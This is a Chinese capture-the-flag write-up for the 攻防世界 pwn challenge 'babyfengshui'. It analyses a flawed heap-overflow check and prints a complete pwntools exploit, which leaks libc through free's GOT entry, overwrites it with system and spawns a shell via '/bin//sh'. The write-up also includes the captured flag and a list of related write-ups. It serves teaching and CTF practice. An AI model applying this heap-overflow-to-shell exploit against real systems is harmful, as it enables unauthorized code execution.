攻防世界 pwn进阶区----No.012 babyfengshui 解题思路
攻防世界 pwn进阶区----No.012 babyfengshui 解题思路
1.本题解题思路
1.先期工作
1.运行程序查看基本逻辑
创建用户
展示用户
更新用户
删除用户
到这里就可以猜测这题有可能堆上的题,重点查看删除堆的指针情况,以及堆溢出的情况。
2.运用checksec查看程序的保护措施
没有开启地址随机化,使得简单了许多。
3.打开ida审计源码
2.分析漏洞
1.用IDA_pro调试
可以看出主要的数据结构为:
struct user {char *desc;char name[0x7c];
} user;struct user *store[50];
另外在设置用户描述时,程序有一些奇怪的保护:
要求&users[id]->desc[text_len] >= &users[id] - 4
猜测它使用这种保护来避免堆溢出。
然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。
3.调试程序
调试程序以获得构建堆溢出所需要的数据
4.exp的写法与调试
1.首先创造函数
def add_note(size,length,text):p.recvuntil('Action: ')p.sendline('0')p.recvuntil('size of description: ')p.sendline(str(size))p.recvuntil('name: ')p.sendline('AAA')p.recvuntil('text length: ')p.sendline(str(length))p.recvuntil('text: ')p.sendline(text)
def delete_note(idx):p.recvuntil('Action: ')p.sendline('1')p.recvuntil('index: ')p.sendline(str(idx))
def display_note(idx):p.recvuntil('Action: ')p.sendline('2')p.recvuntil('index: ')p.sendline(str(idx))p.recv()
def update_note(idx,length,text):p.recvuntil('Action: ')p.sendline('3')p.recvuntil('index: ')p.sendline(str(idx))p.recvuntil('text length: ')p.sendline(str(length))p.sendlineafter('text: ',text)
2.其次创建堆溢出
2.本题所涉及知识
1.系统内存分布图
2.malloc_chunk函数
struct malloc_chunk {/* #define INTERNAL_SIZE_T size_t */INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */struct malloc_chunk* fd; /* double links -- used only if free. 这两个指针只在free chunk中存在*/struct malloc_chunk* bk;/* Only used for large blocks: pointer to next larger size. */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;
};
整体的exp如下:
#!/usr/bin/python
#cyberpeace{a8cbc69fc283b507d582050faf5099f4}
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
#context.log_level = 'debug'
ip = "111.198.29.45"
port = 58337#p = process('./babyfengshui')
p=remote(ip,port)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf760a750)def add_note(size,length,text):p.recvuntil('Action: ')p.sendline('0')p.recvuntil('size of description: ')p.sendline(str(size))p.recvuntil('name: ')p.sendline('AAA')p.recvuntil('text length: ')p.sendline(str(length))p.recvuntil('text: ')p.sendline(text)
def delete_note(idx):p.recvuntil('Action: ')p.sendline('1')p.recvuntil('index: ')p.sendline(str(idx))
def display_note(idx):p.recvuntil('Action: ')p.sendline('2')p.recvuntil('index: ')p.sendline(str(idx))p.recv()
def update_note(idx,length,text):p.recvuntil('Action: ')p.sendline('3')p.recvuntil('index: ')p.sendline(str(idx))p.recvuntil('text length: ')p.sendline(str(length))p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
#gdb.attach(p)
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
#gdb.attach(p)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
#print(hex(elf.got['free']))
#print(hex(obj.dump('free')))
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr))
delete_note(2)
p.interactive()
3.反思与思考
参考资料:
https://www.cnblogs.com/alisecurity/p/5486458.html
https://firmianay.gitbooks.io/ctf-all-in-one/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.html
攻防世界 pwn进阶区----No.012 babyfengshui 解题思路相关推荐
- realloc函数UAF利用|攻防世界pwn进阶区supermarket
文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...
- 攻防世界 Pwn 进阶 第二页
00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...
- 攻防世界高手进阶区——dice_game
攻防世界高手进阶区--dice_game 题目里面啥都没有. 一.分析文件 checksec 只有栈溢出保护关闭了,其他都是开着的. 运行 可以看出是要猜数字,猜对50次. ida逆向 __int64 ...
- 攻防世界高手进阶区 ——forgot
攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...
- 攻防世界高手进阶区 ——反应釜开关控制
攻防世界高手进阶区 --反应釜开关控制 题目没什么信息.在这里插入图片描述 1.分析文件 运行一下,可能为栈溢出的题. checkse 无栈溢出保护,无地址随机化,只有堆栈不可执行. 栈溢出可能性大. ...
- 攻防世界MISC进阶区刷题记录
文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 攻防世界web进阶区Web_php_wrong_nginx_config详解
攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...
- 攻防世界web进阶区ics-05详解
攻防世界web进阶区ics-05详解 题目 解法 preg_replace ctype_alnum strpos X-Forwarded-For 题目 我们只能点击一个地方 解法 御剑扫描有一个css ...
最新文章
- 天线的近场区和远场区
- SEO优化:网站优化的五大步骤
- PHP封装返回Ajax字符串和JSON数组
- GSON反序列化时,字符串被转换成科学记数法的问题处理
- fiddler抓包工具简介
- [机器学习笔记]Note11--聚类
- KubeVela v1.2 发布:你要的图形化操作控制台 VelaUX 终于来了
- 搭建bitwarden_Docker轻松部署Bitwarden私有密码管理系统服务
- Html中的map标签
- linux下gsl怎么运行,linux下gsl安装问题与解决
- Js中对URL进行转码与解码
- Computer Hardware ID(CHID)及驱动推送
- 怎样关闭vivo的HTML查看器,vivo安全模式在哪儿关闭?
- qq连连看看外挂-我的QQ连连看“辅助”程序源码
- 经纬度十进制与度分秒换算及数据库实现
- t420i升级固态硬盘提升_老电脑想升级,如何选购最适合的固态硬盘
- 【Harmony OS】【ArkUI】ets开发 基础页面布局与数据连接
- 安装、选择-如何制作U盘系统盘以及U盘安装操作系统的方法 -by小雨
- Starling学习笔记
- typora配置好smms后还是typora上传图片失败:image load failed。